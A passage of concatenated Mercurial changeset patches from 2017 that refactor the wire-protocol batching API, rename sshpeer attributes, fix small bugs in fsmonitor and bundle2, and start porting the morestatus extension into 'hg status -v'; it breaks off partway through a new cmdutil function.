Let's fix the check and convert it to ProgrammingError, which may
not have been around when this was originally implemented.

Differential Revision: https://phab.mercurial-scm.org/D317

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -120,9 +120,13 @@
         self._remote = remote
 
     def __getattr__(self, name):
-        if not getattr(self._remote, name, False):
-            raise AttributeError(
-                'Attempted to iterbatch non-batchable call to %r' % name)
+        # Validate this method is batchable, since submit() only supports
+        # batchable methods.
+        fn = getattr(self._remote, name)
+        if not getattr(fn, 'batchable', None):
+            raise error.ProgrammingError('Attempted to batch a non-batchable '
+                                         'call to %r' % name)
+
         return super(remoteiterbatcher, self).__getattr__(name)
 
     def submit(self):
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502344325 25200
#      Wed Aug 09 22:52:05 2017 -0700
# Node ID e2fc2122029c1d6c35c83457dcf5b48b5b0b5bc5
# Parent  297d1b70685c770b538def5c51b34f0cc5e8e5c8
wireproto: remove support for local results in @batchable (API)

@peer.batchable decorated generator functions have two forms:

    yield value, None

and

    yield args, future
    yield value

These forms have been present since the decorator was introduced.

There are currently no in-repo consumers of the first form. So this
commit removes support for it.

Note that remoteiterbatcher.submit() asserts the 2nd form. And
b6e71f8af5b8 removed the last user of remotebatcher, forcing everyone
to remoteiterbatcher. So anything relying on this in the wild would
have been broken since b6e71f8af5b8.

.. api::

   @peer.batchable can no longer emit local values

Differential Revision: https://phab.mercurial-scm.org/D318

diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -78,9 +78,6 @@
 
     @batchable
     def sample(self, one, two=None):
-        # Handle locally computable results first:
-        if not one:
-            yield "a local result", None
         # Build list of encoded arguments suitable for your wire protocol:
         encargs = [('one', encode(one),), ('two', encode(two),)]
         # Create future for injection of encoded result:
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -95,11 +95,9 @@
             if batchablefn is not None:
                 batchable = batchablefn(mtd.im_self, *args, **opts)
                 encargsorres, encresref = next(batchable)
-                if encresref:
-                    req.append((name, encargsorres,))
-                    rsp.append((batchable, encresref, resref,))
-                else:
-                    resref.set(encargsorres)
+                assert encresref
+                req.append((name, encargsorres,))
+                rsp.append((batchable, encresref, resref,))
             else:
                 if req:
                     self._submitreq(req, rsp)
diff --git a/tests/test-batching.py b/tests/test-batching.py
--- a/tests/test-batching.py
+++ b/tests/test-batching.py
@@ -45,7 +45,6 @@
     batch = it.batch()
     # The calls return futures to eventually hold results.
     foo = batch.foo(one="One", two="Two")
-    foo2 = batch.foo(None)
     bar = batch.bar("Eins", "Zwei")
     # We can call non-batchable proxy methods, but the break the current batch
     # request and cause additional roundtrips.
@@ -58,7 +57,6 @@
     batch.submit()
     # After the call to submit, the futures actually contain values.
     print(foo.value)
-    print(foo2.value)
     print(bar.value)
     print(greet.value)
     print(hello.value)
@@ -153,8 +151,6 @@
 
     @peer.batchable
     def foo(self, one, two=None):
-        if not one:
-            yield "Nope", None
         encargs = [('one', mangle(one),), ('two', mangle(two),)]
         encresref = peer.future()
         yield encargs, encresref
diff --git a/tests/test-batching.py.out b/tests/test-batching.py.out
--- a/tests/test-batching.py.out
+++ b/tests/test-batching.py.out
@@ -4,7 +4,6 @@
 Un and Deux
 Eins und Zwei
 One and Two
-Nope
 Eins und Zwei
 Hello, John Smith
 Ready.
@@ -25,7 +24,6 @@
 REQ: batch?cmds=bar:b=Vop,a=Evf
   -> Vop!voe!Evf
 One and Two
-Nope
 Eins und Zwei
 Hello, John Smith
 Ready.
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502346570 25200
#      Wed Aug 09 23:29:30 2017 -0700
# Node ID 4c706037adef44b3d8585b5ace1cf2f057e598d5
# Parent  e2fc2122029c1d6c35c83457dcf5b48b5b0b5bc5
wireproto: overhaul iterating batcher code (API)

The remote batching code is difficult to read. Let's improve it.

As part of the refactor, the future returned by method calls on
batchiter() instances is now populated. However, you still need to
consume the results() generator for the future to be set.  But at
least now we can stuff the future somewhere and not have to worry
about aligning method call order with result order since you can
use a future to hold the result.

Also as part of the change, we now verify that @batchable generators
yield exactly 2 values. In other words, we enforce their API.

The non-iter batcher has been unused since b6e71f8af5b8. And to my
surprise we had no explicit unit test coverage of it! test-batching.py
has been overhauled to use the iterating batcher.

Since the iterating batcher doesn't allow non-batchable method
calls nor local calls, tests have been updated to reflect reality.
The iterating batcher has been used for multiple releases apparently
without major issue. So this shouldn't cause alarm.

.. api::

   @peer.batchable functions must now yield exactly 2 values

Differential Revision: https://phab.mercurial-scm.org/D319

diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -69,7 +69,8 @@
 
     def results(self):
         for name, args, opts, resref in self.calls:
-            yield getattr(self.local, name)(*args, **opts)
+            resref.set(getattr(self.local, name)(*args, **opts))
+            yield resref.value
 
 def batchable(f):
     '''annotation for batchable methods
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -133,23 +133,47 @@
         This is mostly valuable over http where request sizes can be
         limited, but can be used in other places as well.
         """
-        req, rsp = [], []
-        for name, args, opts, resref in self.calls:
-            mtd = getattr(self._remote, name)
+        # 2-tuple of (command, arguments) that represents what will be
+        # sent over the wire.
+        requests = []
+
+        # 4-tuple of (command, final future, @batchable generator, remote
+        # future).
+        results = []
+
+        for command, args, opts, finalfuture in self.calls:
+            mtd = getattr(self._remote, command)
             batchable = mtd.batchable(mtd.im_self, *args, **opts)
-            encargsorres, encresref = next(batchable)
-            assert encresref
-            req.append((name, encargsorres))
-            rsp.append((batchable, encresref))
-        if req:
-            self._resultiter = self._remote._submitbatch(req)
-        self._rsp = rsp
+
+            commandargs, fremote = next(batchable)
+            assert fremote
+            requests.append((command, commandargs))
+            results.append((command, finalfuture, batchable, fremote))
+
+        if requests:
+            self._resultiter = self._remote._submitbatch(requests)
+
+        self._results = results
 
     def results(self):
-        for (batchable, encresref), encres in itertools.izip(
-                self._rsp, self._resultiter):
-            encresref.set(encres)
-            yield next(batchable)
+        for command, finalfuture, batchable, remotefuture in self._results:
+            # Get the raw result, set it in the remote future, feed it
+            # back into the @batchable generator so it can be decoded, and
+            # set the result on the final future to this value.
+            remoteresult = next(self._resultiter)
+            remotefuture.set(remoteresult)
+            finalfuture.set(next(batchable))
+
+            # Verify our @batchable generators only emit 2 values.
+            try:
+                next(batchable)
+            except StopIteration:
+                pass
+            else:
+                raise error.ProgrammingError('%s @batchable generator emitted '
+                                             'unexpected value count' % command)
+
+            yield finalfuture.value
 
 # Forward a couple of names from peer to make wireproto interactions
 # slightly more sensible.
diff --git a/tests/test-batching.py b/tests/test-batching.py
--- a/tests/test-batching.py
+++ b/tests/test-batching.py
@@ -8,7 +8,9 @@
 from __future__ import absolute_import, print_function
 
 from mercurial import (
+    error,
     peer,
+    util,
     wireproto,
 )
 
@@ -27,9 +29,9 @@
         return "%s und %s" % (b, a,)
     def greet(self, name=None):
         return "Hello, %s" % name
-    def batch(self):
+    def batchiter(self):
         '''Support for local batching.'''
-        return peer.localbatch(self)
+        return peer.localiterbatcher(self)
 
 # usage of "thing" interface
 def use(it):
@@ -41,27 +43,54 @@
     print(it.foo("Un", two="Deux"))
     print(it.bar("Eins", "Zwei"))
 
-    # Batched call to a couple of (possibly proxied) methods.
-    batch = it.batch()
+    # Batched call to a couple of proxied methods.
+    batch = it.batchiter()
     # The calls return futures to eventually hold results.
     foo = batch.foo(one="One", two="Two")
     bar = batch.bar("Eins", "Zwei")
-    # We can call non-batchable proxy methods, but the break the current batch
-    # request and cause additional roundtrips.
-    greet = batch.greet(name="John Smith")
-    # We can also add local methods into the mix, but they break the batch too.
-    hello = batch.hello()
     bar2 = batch.bar(b="Uno", a="Due")
-    # Only now are all the calls executed in sequence, with as few roundtrips
-    # as possible.
+
+    # Future shouldn't be set until we submit().
+    assert isinstance(foo, peer.future)
+    assert not util.safehasattr(foo, 'value')
+    assert not util.safehasattr(bar, 'value')
     batch.submit()
-    # After the call to submit, the futures actually contain values.
+    # Call results() to obtain results as a generator.
+    results = batch.results()
+
+    # Future results shouldn't be set until we consume a value.
+    assert not util.safehasattr(foo, 'value')
+    foovalue = next(results)
+    assert util.safehasattr(foo, 'value')
+    assert foovalue == foo.value
     print(foo.value)
+    next(results)
     print(bar.value)
-    print(greet.value)
-    print(hello.value)
+    next(results)
     print(bar2.value)
 
+    # We should be at the end of the results generator.
+    try:
+        next(results)
+    except StopIteration:
+        print('proper end of results generator')
+    else:
+        print('extra emitted element!')
+
+    # Attempting to call a non-batchable method inside a batch fails.
+    batch = it.batchiter()
+    try:
+        batch.greet(name='John Smith')
+    except error.ProgrammingError as e:
+        print(e)
+
+    # Attempting to call a local method inside a batch fails.
+    batch = it.batchiter()
+    try:
+        batch.hello()
+    except error.ProgrammingError as e:
+        print(e)
+
 # local usage
 mylocal = localthing()
 print()
@@ -144,10 +173,11 @@
             req.append(name + ':' + args)
         req = ';'.join(req)
         res = self._submitone('batch', [('cmds', req,)])
-        return res.split(';')
+        for r in res.split(';'):
+            yield r
 
-    def batch(self):
-        return wireproto.remotebatch(self)
+    def batchiter(self):
+        return wireproto.remoteiterbatcher(self)
 
     @peer.batchable
     def foo(self, one, two=None):
diff --git a/tests/test-batching.py.out b/tests/test-batching.py.out
--- a/tests/test-batching.py.out
+++ b/tests/test-batching.py.out
@@ -5,9 +5,8 @@
 Eins und Zwei
 One and Two
 Eins und Zwei
-Hello, John Smith
-Ready.
 Uno und Due
+proper end of results generator
 
 == Remote
 Ready.
@@ -17,14 +16,11 @@
 REQ: bar?b=Fjot&a=[xfj
   -> Fjot!voe![xfj
 Eins und Zwei
-REQ: batch?cmds=foo:one=Pof,two=Uxp;bar:b=Fjot,a=[xfj
-  -> Pof!boe!Uxp;Fjot!voe![xfj
-REQ: greet?name=Kpio!Tnjui
-  -> Ifmmp-!Kpio!Tnjui
-REQ: batch?cmds=bar:b=Vop,a=Evf
-  -> Vop!voe!Evf
+REQ: batch?cmds=foo:one=Pof,two=Uxp;bar:b=Fjot,a=[xfj;bar:b=Vop,a=Evf
+  -> Pof!boe!Uxp;Fjot!voe![xfj;Vop!voe!Evf
 One and Two
 Eins und Zwei
-Hello, John Smith
-Ready.
 Uno und Due
+proper end of results generator
+Attempted to batch a non-batchable call to 'greet'
+Attempted to batch a non-batchable call to 'hello'
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502346920 25200
#      Wed Aug 09 23:35:20 2017 -0700
# Node ID b47fe9733d7663222033297059c38c28b2ceb75e
# Parent  4c706037adef44b3d8585b5ace1cf2f057e598d5
peer: remove non iterating batcher (API)

The last use of this API was removed in b6e71f8af5b8 in 2016. While
not formally deprecated, as of the last commit the code is no longer
explicitly tested. I think the new API has existed long enough for
people to transition to it.

I also have plans to more formalize the peer API and removing batch()
makes that work easier.

I'm not convinced the current client-side API around batching is
great. But it's the best we have at the moment.

.. api:: remove peer.batch()

   Replace with peer.iterbatch().

Differential Revision: https://phab.mercurial-scm.org/D320

diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -49,15 +49,6 @@
     def results(self):
         raise NotImplementedError()
 
-class localbatch(batcher):
-    '''performs the queued calls directly'''
-    def __init__(self, local):
-        batcher.__init__(self)
-        self.local = local
-    def submit(self):
-        for name, args, opts, resref in self.calls:
-            resref.set(getattr(self.local, name)(*args, **opts))
-
 class localiterbatcher(iterbatcher):
     def __init__(self, local):
         super(iterbatcher, self).__init__()
@@ -106,10 +97,6 @@
     return plain
 
 class peerrepository(object):
-
-    def batch(self):
-        return localbatch(self)
-
     def iterbatch(self):
         """Batch requests but allow iterating over the results.
 
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -8,7 +8,6 @@
 from __future__ import absolute_import
 
 import hashlib
-import itertools
 import os
 import tempfile
 
@@ -80,38 +79,6 @@
     #    """
     #    raise NotImplementedError()
 
-class remotebatch(peer.batcher):
-    '''batches the queued calls; uses as few roundtrips as possible'''
-    def __init__(self, remote):
-        '''remote must support _submitbatch(encbatch) and
-        _submitone(op, encargs)'''
-        peer.batcher.__init__(self)
-        self.remote = remote
-    def submit(self):
-        req, rsp = [], []
-        for name, args, opts, resref in self.calls:
-            mtd = getattr(self.remote, name)
-            batchablefn = getattr(mtd, 'batchable', None)
-            if batchablefn is not None:
-                batchable = batchablefn(mtd.im_self, *args, **opts)
-                encargsorres, encresref = next(batchable)
-                assert encresref
-                req.append((name, encargsorres,))
-                rsp.append((batchable, encresref, resref,))
-            else:
-                if req:
-                    self._submitreq(req, rsp)
-                    req, rsp = [], []
-                resref.set(mtd(*args, **opts))
-        if req:
-            self._submitreq(req, rsp)
-    def _submitreq(self, req, rsp):
-        encresults = self.remote._submitbatch(req)
-        for encres, r in zip(encresults, rsp):
-            batchable, encresref, resref = r
-            encresref.set(encres)
-            resref.set(next(batchable))
-
 class remoteiterbatcher(peer.iterbatcher):
     def __init__(self, remote):
         super(remoteiterbatcher, self).__init__()
@@ -253,11 +220,6 @@
     See also httppeer.py and sshpeer.py for protocol-specific
     implementations of this interface.
     """
-    def batch(self):
-        if self.capable('batch'):
-            return remotebatch(self)
-        else:
-            return peer.localbatch(self)
     def _submitbatch(self, req):
         """run batch request <req> on the server
 
diff --git a/tests/test-wireproto.py b/tests/test-wireproto.py
--- a/tests/test-wireproto.py
+++ b/tests/test-wireproto.py
@@ -55,7 +55,7 @@
 clt = clientpeer(srv)
 
 print(clt.greet("Foobar"))
-b = clt.batch()
-fs = [b.greet(s) for s in ["Fo, =;:<o", "Bar"]]
+b = clt.iterbatch()
+map(b.greet, ('Fo, =;:<o', 'Bar'))
 b.submit()
-print([f.value for f in fs])
+print([r for r in b.results()])
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502423728 25200
#      Thu Aug 10 20:55:28 2017 -0700
# Node ID 82d564d5ac4fa03b9dde173fe54fe0e58288d339
# Parent  b47fe9733d7663222033297059c38c28b2ceb75e
sshpeer: make instance attributes and methods internal

Peer types are supposed to conform to a formal interface defined by
peer.peerrepository and wireproto.wirepeer. Every "public" attribute on
*peer types makes it harder to understand what attributes are part
of the interface and what are instance specific.

This commit converts a number of "public" instance attributes and
methods on sshpeer to internal so they can't be confused to be part of
the peer API.

The URL-related instance attributes were introduced in 876333a295ff
in 2005. AFAICT most of them aren't used and could potentially be
removed. But I kept them around anyway.

I also reorded some code to make things slightly easier to read.

.. api::

   Rename attributes on sshpeer to reflect peer API

Differential Revision: https://phab.mercurial-scm.org/D331

diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -118,7 +118,7 @@
     def __init__(self, ui, path, create=False):
         self._url = path
         self.ui = ui
-        self.pipeo = self.pipei = self.pipee = None
+        self._pipeo = self._pipei = self._pipee = None
 
         u = util.url(path, parsequery=False, parsefragment=False)
         if u.scheme != 'ssh' or not u.host or u.path is None:
@@ -126,22 +126,23 @@
 
         util.checksafessh(path)
 
-        self.user = u.user
         if u.passwd is not None:
             self._abort(error.RepoError(_("password in URL not supported")))
-        self.host = u.host
-        self.port = u.port
-        self.path = u.path or "."
+
+        self._user = u.user
+        self._host = u.host
+        self._port = u.port
+        self._path = u.path or '.'
 
         sshcmd = self.ui.config("ui", "ssh")
         remotecmd = self.ui.config("ui", "remotecmd")
 
-        args = util.sshargs(sshcmd, self.host, self.user, self.port)
+        args = util.sshargs(sshcmd, self._host, self._user, self._port)
 
         if create:
             cmd = '%s %s %s' % (sshcmd, args,
                 util.shellquote("%s init %s" %
-                    (_serverquote(remotecmd), _serverquote(self.path))))
+                    (_serverquote(remotecmd), _serverquote(self._path))))
             ui.debug('running %s\n' % cmd)
             res = ui.system(cmd, blockedtag='sshpeer')
             if res != 0:
@@ -154,26 +155,26 @@
 
     def _validaterepo(self, sshcmd, args, remotecmd):
         # cleanup up previous run
-        self.cleanup()
+        self._cleanup()
 
         cmd = '%s %s %s' % (sshcmd, args,
             util.shellquote("%s -R %s serve --stdio" %
-                (_serverquote(remotecmd), _serverquote(self.path))))
+                (_serverquote(remotecmd), _serverquote(self._path))))
         self.ui.debug('running %s\n' % cmd)
         cmd = util.quotecommand(cmd)
 
-        # while self.subprocess isn't used, having it allows the subprocess to
+        # while self._subprocess isn't used, having it allows the subprocess to
         # to clean up correctly later
         #
         # no buffer allow the use of 'select'
         # feel free to remove buffering and select usage when we ultimately
         # move to threading.
         sub = util.popen4(cmd, bufsize=0)
-        self.pipeo, self.pipei, self.pipee, self.subprocess = sub
+        self._pipeo, self._pipei, self._pipee, self._subprocess = sub
 
-        self.pipei = util.bufferedinputpipe(self.pipei)
-        self.pipei = doublepipe(self.ui, self.pipei, self.pipee)
-        self.pipeo = doublepipe(self.ui, self.pipeo, self.pipee)
+        self._pipei = util.bufferedinputpipe(self._pipei)
+        self._pipei = doublepipe(self.ui, self._pipei, self._pipee)
+        self._pipeo = doublepipe(self.ui, self._pipeo, self._pipee)
 
         # skip any noise generated by remote shell
         self._callstream("hello")
@@ -182,7 +183,7 @@
         max_noise = 500
         while lines[-1] and max_noise:
             l = r.readline()
-            self.readerr()
+            self._readerr()
             if lines[-1] == "1\n" and l == "\n":
                 break
             if l:
@@ -202,27 +203,27 @@
     def _capabilities(self):
         return self._caps
 
-    def readerr(self):
-        _forwardoutput(self.ui, self.pipee)
+    def _readerr(self):
+        _forwardoutput(self.ui, self._pipee)
 
     def _abort(self, exception):
-        self.cleanup()
+        self._cleanup()
         raise exception
 
-    def cleanup(self):
-        if self.pipeo is None:
+    def _cleanup(self):
+        if self._pipeo is None:
             return
-        self.pipeo.close()
-        self.pipei.close()
+        self._pipeo.close()
+        self._pipei.close()
         try:
             # read the error descriptor until EOF
-            for l in self.pipee:
+            for l in self._pipee:
                 self.ui.status(_("remote: "), l)
         except (IOError, ValueError):
             pass
-        self.pipee.close()
+        self._pipee.close()
 
-    __del__ = cleanup
+    __del__ = _cleanup
 
     def _submitbatch(self, req):
         rsp = self._callstream("batch", cmds=wireproto.encodebatchcmds(req))
@@ -246,7 +247,7 @@
     def _callstream(self, cmd, **args):
         args = pycompat.byteskwargs(args)
         self.ui.debug("sending %s command\n" % cmd)
-        self.pipeo.write("%s\n" % cmd)
+        self._pipeo.write("%s\n" % cmd)
         _func, names = wireproto.commands[cmd]
         keys = names.split()
         wireargs = {}
@@ -258,16 +259,16 @@
                 wireargs[k] = args[k]
                 del args[k]
         for k, v in sorted(wireargs.iteritems()):
-            self.pipeo.write("%s %d\n" % (k, len(v)))
+            self._pipeo.write("%s %d\n" % (k, len(v)))
             if isinstance(v, dict):
                 for dk, dv in v.iteritems():
-                    self.pipeo.write("%s %d\n" % (dk, len(dv)))
-                    self.pipeo.write(dv)
+                    self._pipeo.write("%s %d\n" % (dk, len(dv)))
+                    self._pipeo.write(dv)
             else:
-                self.pipeo.write(v)
-        self.pipeo.flush()
+                self._pipeo.write(v)
+        self._pipeo.flush()
 
-        return self.pipei
+        return self._pipei
 
     def _callcompressable(self, cmd, **args):
         return self._callstream(cmd, **args)
@@ -296,29 +297,29 @@
         for d in iter(lambda: fp.read(4096), ''):
             self._send(d)
         self._send("", flush=True)
-        return self.pipei
+        return self._pipei
 
     def _getamount(self):
-        l = self.pipei.readline()
+        l = self._pipei.readline()
         if l == '\n':
-            self.readerr()
+            self._readerr()
             msg = _('check previous remote output')
             self._abort(error.OutOfBandError(hint=msg))
-        self.readerr()
+        self._readerr()
         try:
             return int(l)
         except ValueError:
             self._abort(error.ResponseError(_("unexpected response:"), l))
 
     def _recv(self):
-        return self.pipei.read(self._getamount())
+        return self._pipei.read(self._getamount())
 
     def _send(self, data, flush=False):
-        self.pipeo.write("%d\n" % len(data))
+        self._pipeo.write("%d\n" % len(data))
         if data:
-            self.pipeo.write(data)
+            self._pipeo.write(data)
         if flush:
-            self.pipeo.flush()
-        self.readerr()
+            self._pipeo.flush()
+        self._readerr()
 
 instance = sshpeer
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502383070 25200
#      Thu Aug 10 09:37:50 2017 -0700
# Node ID dd35abc409ee1c4fa83bed2d53d9896594a3dc88
# Parent  82d564d5ac4fa03b9dde173fe54fe0e58288d339
fsmonitor: correct an error message

Without the change, the error looks like:

  warning: Watchman unavailable: "watchman" executable not in PATH (%s),
  while executing [Errno 2] No such file or directory

With the change, it now looks like:

  warning: Watchman unavailable: "watchman" executable not in PATH
  ([Errno 2] No such file or directory)

Differential Revision: https://phab.mercurial-scm.org/D322

diff --git a/hgext/fsmonitor/pywatchman/__init__.py b/hgext/fsmonitor/pywatchman/__init__.py
--- a/hgext/fsmonitor/pywatchman/__init__.py
+++ b/hgext/fsmonitor/pywatchman/__init__.py
@@ -825,7 +825,7 @@
             p = subprocess.Popen(cmd, **args)
 
         except OSError as e:
-            raise WatchmanError('"watchman" executable not in PATH (%s)', e)
+            raise WatchmanError('"watchman" executable not in PATH (%s)' % e)
 
         stdout, stderr = p.communicate()
         exitcode = p.poll()
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502290881 -7200
#      Wed Aug 09 17:01:21 2017 +0200
# Node ID 119e1c6be1ce94b36376681e975477e627b62c17
# Parent  dd35abc409ee1c4fa83bed2d53d9896594a3dc88
bundle2: fix transaction availability detection

Changeset 5fc4ddfbe626 introduce more complex logic around
'bundleoperation.gettransaction'. In that process it turns the old "attribute"
into a proper method which breaks the code that detects the "transaction
availability".

The change was visible in 'test-acl.t', fixing this reverts the test changes.

Differential Revision: https://phab.mercurial-scm.org/D303

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -373,7 +373,7 @@
         msg = ['bundle2-input-bundle:']
         if unbundler.params:
             msg.append(' %i params' % len(unbundler.params))
-        if op.gettransaction is None or op.gettransaction is _notransaction:
+        if op._gettransaction is None or op._gettransaction is _notransaction:
             msg.append(' no-transaction')
         else:
             msg.append(' with-transaction')
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -120,7 +120,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -184,7 +184,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -259,7 +259,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -742,7 +742,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1056,7 +1056,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1141,7 +1141,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1298,7 +1298,7 @@
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-bundle: 1 parts total
@@ -1502,7 +1502,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
@@ -1798,7 +1798,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
@@ -1891,7 +1891,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
@@ -2052,7 +2052,7 @@
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-input-bundle: with-transaction
+  bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
   bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1501717355 -19800
#      Thu Aug 03 05:12:35 2017 +0530
# Node ID 96f43981c1c4d4002892dc74b7fb6dcba148560a
# Parent  119e1c6be1ce94b36376681e975477e627b62c17
morestatus: move fb extension to core by plugging to `hg status --verbose`

morestatus extension in fbext use to show more context about the state of the
repo like the repository is in a unfinished merge state, or a rebase is going
on, or histedit is going on, listing the files which need to be resolved and
also suggesting ways to handle the situation.

This patch moves the extension directly to core by plugging it into the
--verbose flag of the status command. So now if you are in any unfinished state
and you do hg status -v, it will show you details and help related to the state.

The extension in fbext also shows context about unfinished update state
which is not ported to core as that plug in hooks to update command which need
to be tackled somewhat differently.

The following configuration will turn the behaviour on by default

[commands]
status.verbose = 1

You can also skip considering some states like bisect as follows:

[commands]
status.skipstates=bisect

This patch also adds test for the feature.

.. feature::

   ``hg status -v`` can now show unfinished state. For example, when in
   an unfinished rebase state, ``hg status -v`` might show::

   # The repository is in an unfinished *rebase* state.
   # No unresolved merge conflicts.
   # To continue:                hg rebase --continue
   # To abort:                   hg rebase --abort

Differential Revision: https://phab.mercurial-scm.org/D219

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -573,6 +573,111 @@
 
     return finalrs
 
+def _commentlines(raw):
+    '''Surround lineswith a comment char and a new line'''
+    lines = raw.splitlines()
+    commentedlines = ['# %s' % line for line in lines]
+    return '\n'.join(commentedlines) + '\n'
+
+def _conflictsmsg(repo):
+    # avoid merge cycle
+    from . import merge as mergemod
+    mergestate = mergemod.mergestate.read(repo)
+    if not mergestate.active():
+        return
+
+    m = scmutil.match(repo[None])
